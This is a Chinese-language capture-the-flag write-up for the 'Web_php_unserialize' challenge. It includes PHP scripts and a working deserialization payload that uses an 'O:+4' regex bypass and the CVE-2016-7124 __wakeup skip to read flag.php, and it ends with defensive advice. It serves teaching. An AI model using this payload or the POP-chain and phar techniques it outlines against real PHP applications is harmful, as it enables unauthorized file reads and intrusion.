攻防世界 Web_php_unserialize 这道题,可能是我刷过最典型的PHP反序列化入门题。平台上有不少新手在这卡住,卡点无非是两个:一是正则过滤去不掉,二是__wakeup一直把文件路径改回去。今天从原理讲到 payload 构造,把这道题彻底拆开。如果你是刚开始学 Web 安全,或者正卡在这道题上,这篇文章应该能帮你省下不少折腾时间。
1. 题目背景与考点拆解
1.1 这道题长什么样
题目来自 XCTF 攻防世界 Web 方向,名字就叫Web_php_unserialize。打开靶机之后,页面通常会直接展示一段 PHP 源码。很多朋友第一次看到会有点懵,因为源码信息量不算小,但结合题目名字其实已经暗示了考察方向:PHP 反序列化。
题目核心源码大概是下面这个样子,不同环境可能略有改动,但关键逻辑跑不掉:
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { $this->file = 'index.php'; } } } if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file(__FILE__); } ?>先别急着去网上搜现成 payload。读懂源码,你才能真正明白这道题的每一环在干嘛。
这里有几个关键信息:
Demo类有一个私有属性$file,默认值是index.php。__construct方法允许在创建对象时传入$file。__destruct方法在对象销毁时会执行highlight_file($this->file, true),并把内容echo出来。__wakeup方法在unserialize反序列化时执行,如果$file不是index.php,会强制把它改回去。- 入口参数是
$_GET['var'],先经过base64_decode,再经过preg_match('/[oc]:\d+:/i', $var)过滤,最后传入unserialize。
所以这道题的目标就很清晰了:构造一个经过 base64 编码的序列化字符串,让反序列化出来的Demo对象销毁时,__destruct去读取flag.php。但摆在我们面前有两堵墙:正则过滤和__wakeup重置。
1.2 为什么反序列化漏洞能控制程序
一句话解释反序列化漏洞:程序把一个不可信的字符串还原成对象,对象里的属性、触发的方法都不受控制,结果就可能被攻击者牵着走。
你可以把序列化理解成“把整个对象打包成一行字符串”,反序列化就是“拆包还原”。正常情况下,这套机制用于存储会话、缓存数据、跨页面传递对象都很方便。问题是,如果用户能控制这个“包裹”的内容,那还原出来的对象就可能不是开发者期望的那个对象了。
PHP 对象里有几个特殊方法,会在特定时机被自动调用。比如__construct在对象创建时调用,__wakeup在反序列化时调用,__destruct在对象销毁时调用。这些“魔术方法”本身不是漏洞,但当它们和用户可控的输入结合时,就可能成为利用点。
这道题里,最危险的就是__destruct方法中使用了highlight_file($this->file)。只要我们能改变$this->file的值,对象销毁时就会帮我们读取指定的文件。那为什么还要绕过__wakeup呢?因为反序列化一执行,__wakeup会先把$this->file改成index.php,这样__destruct读的就是正常页面了,我们的攻击自然失效。
所以说,这题表面上考反序列化,实际上考的是“如何绕过两道限制”:正则和__wakeup。
2. 序列化与反序列化核心原理
2.1 PHP 序列化格式怎么读
要构造 payload,先得能读懂序列化字符串。看一个最简单的例子:
<?php class Demo { private $file = 'index.php'; } $obj = new Demo('flag.php'); echo serialize($obj); ?>输出大概是:
O:4:"Demo":1:{s:10:"\0Demo\0file";s:8:"flag.php";}这串东西看着乱,拆开一点都不复杂。
先看头部O:4:"Demo":
O表示这是一个对象(Object)。4表示类名Demo的长度。"Demo"就是类名。
接着:1:{表示这个对象有 1 个属性。后面花括号里就是属性列表。
属性是一个标准的 PHP 序列化 key-value 对:
s:10:"\0Demo\0file";s:8:"flag.php";这里s:10表示后面是一个长度为 10 的字符串,字符串内容是\0Demo\0file。由于$file是private私有属性,PHP 在序列化时会把它伪装成“类名 + 空字节 + 属性名 + 空字节”的格式,也就是:
- 一个空字节
\0 - 类名
Demo - 一个空字节
\0 - 属性名
file
长度就是1 + 4 + 1 + 4 = 10。这部分非常容易踩坑,后面我会专门讲。
值的部分同样简单:s:8:"flag.php"表示长度为 8 的字符串flag.php。
所以整个序列化字符串表达的意思就是:一个Demo类的对象,它的私有属性$file的值为flag.php。
2.2 魔术方法何时触发
PHP 的魔术方法有很多,但反序列化漏洞里最常见的几个就够用了。我列了个速查表:
| 方法 | 触发时机 | 典型用途 |
|---|---|---|
__construct | 创建对象时通过new触发 | 初始化属性 |
__destruct | 对象销毁时触发,包括脚本结束 | 清理资源,也容易被滥用 |
__wakeup | unserialize()反序列化时触发 | 重新初始化资源 |
__toString | 对象被当作字符串使用时触发 | 输出对象内容 |
__get | 访问不可访问属性时触发 | 动态处理属性 |
这道题的关键是__wakeup和__destruct的先后顺序。
当我们把构造好的字符串交给unserialize时,PHP 会创建一个Demo对象。在对象创建后、属性填充前,__wakeup方法会被自动调用。__wakeup里写了:如果$this->file != 'index.php',就把它改成index.php。也就是说,就算我们在序列化字符串里写了flag.php,反序列化时也会被改掉。
对象创建完成后,继续执行脚本。当对象不再被引用,或者脚本结束、对象被销毁时,__destruct会被调用,使用当前$this->file去读文件。如果__wakeup没被绕过,那么$this->file已经被重置成index.php,读到的就是正常页面。
所以,这道题真正的防线其实是__wakeup。我们要做的,就是让__wakeup不执行。
2.3 漏洞成因:可控输入进入 unserialize
现在再看整条链路,漏洞成因已经很明显了:
- 用户通过 GET 参数传入数据。
- 数据只做了 base64 解码和正则过滤,没有做类型限制。
- 数据被直接传给
unserialize。 - 程序对反序列化后的对象没有做任何安全校验。
- 对象销毁时执行了危险操作
highlight_file($this->file)。
这类问题在真实业务中也存在。比如很多老项目会把对象序列化后存在 Cookie、Session 或数据库里,读取时直接unserialize还原。如果这些数据可以被用户控制,攻击者就能构造恶意对象,触发危险方法。
当然,真实场景里可能没有这么直接的highlight_file,更多是通过“魔术方法链”一步步调用危险函数,这就是后面要说的 POP 链。但不管链多长,起点往往是同样的:不可控的输入进了unserialize。
3. 实操解题全过程
3.1 获取源码与环境判断
进入靶机后,先观察页面。题目给了源码是最好的情况,如果没给源码,也可以通过报错、注释、常见路径试探等方式获取。但Web_php_unserialize这里一般直接highlight_file(__FILE__),所以源码就在眼前。
看到源码后,先确认目标文件。根据题目描述,flag.php通常就在当前目录下,我们的目标就是让程序去读取它。
顺便确认一下 PHP 版本。这道题能不能解,和版本强相关。因为我们要用到的__wakeup绕过技巧是 CVE-2016-7124,它影响一部分 PHP 5.x 和 7.x 版本。老版本存在这个绕过,新版本已经修复了。题目环境既然这么出,说明它用的是存在漏洞的版本。
CVE-2016-7124 的核心是:当反序列化字符串中声明的属性个数大于对象实际属性个数时,__wakeup方法不会被调用。这个漏洞在 PHP 5.6.25 之前的 5.x 版本,以及 PHP 7.0.10 之前的 7.x 版本中有效。所以我们的绕过思路就是:把序列化字符串里的属性个数改大,大到超过对象实际拥有的属性数量。
3.2 生成序列化 payload 并改造
手工写序列化字符串很容易出错,我的习惯是先用本地 PHP 脚本生成原始 payload,再在这个基础上改。
本地先生成一个普通对象:
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } } $obj = new Demo('flag.php'); $s = serialize($obj); echo $s . "\n"; echo urlencode($s) . "\n"; ?>跑一下,输出大概是:
O:4:"Demo":1:{s:10:"\0Demo\0file";s:8:"flag.php";} O%3A4%3A%22Demo%22%3A1%3A%7Bs%3A10%3A%22%00Demo%00file%22%3Bs%3A8%3A%22flag.php%22%3B%7D注意第二行里有很多%00,这就是序列化字符串里的空字节。因为$file是private属性,属性名会被 PHP 转成\0Demo\0file,而这些空字节在屏幕上是看不见的,直接复制会出错。所以我建议用urlencode输出查看真实内容。
接下来做两步改造。
第一步,绕过正则过滤。源码里的正则是:
preg_match('/[oc]:\d+:/i', $var)它匹配的是o:或c:后面跟一个或多个数字,再跟冒号的形式。常规序列化字符串里的O:4:正好被匹配。而 PHP 反序列化器在解析时是接受O:+4:这种带加号的格式的。也就是说,把O:4改成O:+4,正则就匹配不到了,但 PHP 仍然能正常反序列化。
第二步,绕过__wakeup。把属性个数从1改成2,让反序列化器认为这个对象有 2 个属性,超过实际属性数量,从而跳过__wakeup。
我们可以用脚本自动替换:
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } } $obj = new Demo('flag.php'); $s = serialize($obj); $s = str_replace('O:4', 'O:+4', $s); $s = str_replace(':1:{', ':2:{', $s); echo base64_encode($s); ?>这样输出的字符串就已经是最终 payload 了。我们来验证一下转换结果:
O:+4:"Demo":2:{s:10:"\0Demo\0file";s:8:"flag.php";}转成 base64 后,就是我们要提交的内容。
这里有个细节容易忽略:字符串替换O:4改的是对象头部的O:4:"Demo",不会影响其他地方。替换:1:{改的是属性个数,这串内容只会在对象属性列表前出现一次。但如果你的类名长度正好也是 1,或者属性值里也出现了:1:{,就可能误伤。在这个例子里是安全的,不过平时做题时要多看两眼,不要盲目套命令。
3.3 base64 编码与 URL 传输
拿到 base64 编码后的 payload,直接拼到 URL 后面访问:
http://目标地址/?var=<base64编码内容>这一步也有不少坑。base64 编码结果里可能包含+字符,而在 URL 查询参数中,+会被解析成空格。如果+出现在参数值里,服务端拿到的 base64 字符串就变了,base64_decode解出来的内容就不对,反序列化自然失败。
所以浏览器直接访问时,要把+手动编码成%2B。如果你用 Burp Suite 之类的工具修改请求,也建议把整个var参数值做一次 URL 编码,保证原封不动传输。
更稳妥的做法是直接在脚本里生成完整的 URL 编码参数:
<?php $payload = 'O:+4:"Demo":2:{s:10:"\0Demo\0file";s:8:"flag.php";}'; echo urlencode(base64_encode($payload)); ?>这样生成的字符串可以直接拼在?var=后面。
3.4 拿到 flag 与原理复盘
提交请求后,页面会输出一段 PHP 代码,通常就是flag.php的内容。flag 一般藏在注释里,或者直接以字符串形式出现在代码中。
复盘一下完整利用链:
- 你传入
var参数,值是构造好的 base64 字符串。 - 服务端
base64_decode后得到O:+4:"Demo":2:{s:10:"\0Demo\0file";s:8:"flag.php";}。 preg_match因为O:+4中的加号,没有匹配到O:加数字的格式,过滤绕过。unserialize解析对象时,发现属性个数是 2,大于对象实际属性个数 1,触发 CVE-2016-7124,跳过__wakeup。- 对象创建完成,
$file保持flag.php。 - 脚本执行完毕或对象销毁,
__destruct调用highlight_file('flag.php', true),输出文件内容。 - flag 被回显。
每一步环环相扣,少了任何一环都拿不到结果。
4. 常见问题与排查技巧实录
4.1 为什么改成 O:+4 后没有反应
这是很多人遇到的第一道坎。
先说结论:O:+4确实能绕过这个正则。如果你改了之后没有反应,多半是 URL 传输时出了问题。比如你直接在浏览器地址栏粘贴 base64 字符串,里面的+被浏览器当成空格处理了。可以在请求工具里把+改成%2B,再把整个参数做一次 URL 编码试试。
另外,正则/[oc]:\d+:/i是大小写不敏感的。O和o都会被匹配,所以你别想着用o:+4来绕,一样能通过。核心是加号,不区分大小写。
调试小技巧:在本地写一段代码,把接收到的字符串打印出来,看看base64_decode之后到底是什么。如果解码后不是完整的O:+4:"Demo":2:{...}格式,那就说明传输环节被篡改了。
4.2 属性个数改了还是不触发 __wakeup 绕过
属性个数从1改成2,理论上是满足条件的。如果还是不触发,先检查你改的位置是不是改对了。
序列化字符串中可能有多个数字。比如:
O:+4:"Demo":2:{s:10:"\0Demo\0file";s:8:"flag.php";}对象头的:2:才是属性个数和属性块的分隔符。注意别把类名长度4或属性名长度10当成了属性个数。
另外,属性个数要大于实际属性个数,但是也不建议改得太大,比如改成一个天文数字。虽然有些环境仍然能跳过,但也有可能出现解析异常。常规改成 2 或 3 就够了。
有些新版本 PHP 已经修复了 CVE-2016-7124,即使属性个数大于实际值,__wakeup依然会正常执行。如果题目环境恰好是修复后的版本,这条路就断了,需要考虑其他绕过方式。但这道题既然叫Web_php_unserialize,就是冲着这个漏洞出的,所以默认环境是存在漏洞的。
4.3 Private 属性序列化字符串里的空字节问题
$file是private,序列化后属性名会变成\0Demo\0file。在计算字符串长度时,两个空字节也占长度,所以是s:10。
如果你为了省事,把private改成public再生成 payload,序列化结果会变成:
O:4:"Demo":1:{s:4:"file";s:8:"flag.php";}这种格式虽然也能反序列化,但问题在于原类里$file是private,反序列化时 PHP 会把字符串里的属性名和类定义里的属性作用域做匹配。如果直接用public的格式写,属性名是file,和原类的private $file不一定能对应上。在很多版本里,直接赋值会失败,导致$file还是默认的index.php。
所以最稳的办法还是保持原类的属性类型,用生成脚本得到原始序列化字符串后再做替换。不要在序列化字符串里手动敲空字节,很容易敲错。用 PHP 脚本里的"\0"转义最靠谱。
4.4 本地调试环境与工具链搭建
做反序列化题,本地调试比直接盲打省心十倍。
我一般会搭一个极简的 PHP 环境,不需要装整包集成环境,直接装个 PHP CLI 就够用了。在题目目录下写一个payload.php:
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { $this->file = 'index.php'; } } } $payload = 'O:+4:"Demo":2:{s:10:"\0Demo\0file";s:8:"flag.php";}'; var_dump(unserialize($payload)); ?>当然,这段代码里要写真实的空字节,用单引号包\0是没有用的,必须用双引号转义。更直观的方法是:
$payload = "O:+4:\"Demo\":2:{s:10:\"\0Demo\0file\";s:8:\"flag.php\";}";跑一下,观察是否打印出Demo对象,且file属性是flag.php。如果能正常生成对象,再放到 Web 环境里验证__destruct输出。
工具方面,Burp Suite 是 Web 题必备,改包、重放、看响应都方便。浏览器插件 HackBar 也可以快速构造 GET 请求。但这些只是辅助,真正核心的是你能理解 payload 的每一个字符。
5. 从题目到实战:反序列化漏洞的防御与扩展
5.1 这不是个例:更复杂的反序列化利用
Web_php_unserialize只是一个入门的起点。真实场景里,直接highlight_file的类很少,但把用户可控的数据传进unserialize的情况却不少见。
复杂一点的利用常被称为 POP 链。POP 链和栈溢出的 ROP 链有点像:不依赖单一的危险方法,而是通过一系列魔术方法和普通方法,把可控属性一步步传递到危险函数。比如某个类的__toString里调用了call_user_func,另一个类的__destruct里触发了字符串拼接,你把两个类串起来,就能从“对象销毁”一路到达“代码执行”。
还有一些利用方向不在对象本身,而是利用 PHP 的垃圾回收机制、引用计数、字符串处理特性,去手动触发__destruct。比如序列化字符串中某个属性值使用引用,指向同一个内容,反序列化后的对象属性就会联动变化。这些技巧在高级题目里都很常见。
另外还有一个方向是phar://反序列化。即使程序没有直接调用unserialize,只要它用file_exists、is_dir、getimagesize等文件操作函数去处理一个用户可控的路径,而路径指向一个构造好的phar文件,也会触发反序列化。这个攻击面在真实业务里更隐蔽,也更难防御。
还有一个相关的方向是 Session 反序列化。PHP 的session.save_handler、session.serialize_handler配置不一致时,会让攻击者有机会在 Session 数据里注入序列化内容,进而构造反序列化攻击。这类问题和php.ini配置强相关,做题时也经常遇到。
5.2 防御手段与代码审计注意点
反序列化漏洞的防御,最根本的一条是:不要反序列化不可信数据。
具体落到开发里,我通常会建议这几条:
- 用
json_encode/json_decode替代serialize/unserialize,传递数据时只保留纯数据,不保留对象逻辑。 - 如果必须用 PHP 反序列化,且 PHP 版本支持,给
unserialize传第二个参数['allowed_classes' => false],或者用白名单限制允许反序列化的类。 - 对所有魔术方法做严格校验,特别是
__wakeup、__destruct、__toString这类自动触发的方法,不要在里面做敏感操作。 - 输入数据进入
unserialize之前,要做格式白名单校验,长度、字符集都要限制。 - 及时升级 PHP 版本。很多反序列化绕过都依赖特定版本的老漏洞,版本越新,可利用面越小。
- 代码审计时,重点关注
unserialize的所有调用点,包括直接调用和间接触发,比如phar://文件操作、Session 处理、缓存组件、消息队列消费端。任何一个不可控的入口都可能成为突破口。
当然,防御不只是写代码的事。给对象属性加访问控制、避免在魔术方法里使用$this可控属性直接拼进命令、对异常情况做日志记录,这些都是良好的编码习惯。安全没有银弹,但提前假设“输入不可信”永远是第一步。
5.3 后续学习路线建议
如果你做完这道题,想继续深入 PHP 反序列化,我建议按这个顺序往下学:
先完整过一遍 PHP 官方文档里的魔术方法列表,记住每个方法的触发时机和典型场景。然后找几道典型的 POP 链题目练手,比如利用__destruct、__toString、__call、__invoke等方法的组合来构造链。再学习 PHP 原生类在反序列化中的利用,比如SimpleXMLElement、SoapClient、Error、Exception这些类,它们在特定环境下能直接造成 SSRF、XXE 或文件读取。
之后可以去了解phar://反序列化和 Session 反序列化,把攻击面从“显式 unserialize”扩展到“隐式触发”。最后再回头看 PHP 源码层面的反序列化解析逻辑,理解为什么O:+4能被接受,为什么属性个数大了会跳过__wakeup,为什么引用类型可以互相影响。这些底层理解会让你以后遇到没见过的 payload 时,自己能推出来,而不是只会背答案。
我个人在实际做题过程中的体会是,反序列化题的难点从来不是“能不能看懂 payload”,而是“拿到一个陌生类的时候,能不能自己拼出利用链”。这需要大量的练习和对 PHP 底层行为的熟悉。Web_php_unserialize给了你一个非常干净的起点,把它吃透,后面再见到花里胡哨的 POP 链,你至少不会慌。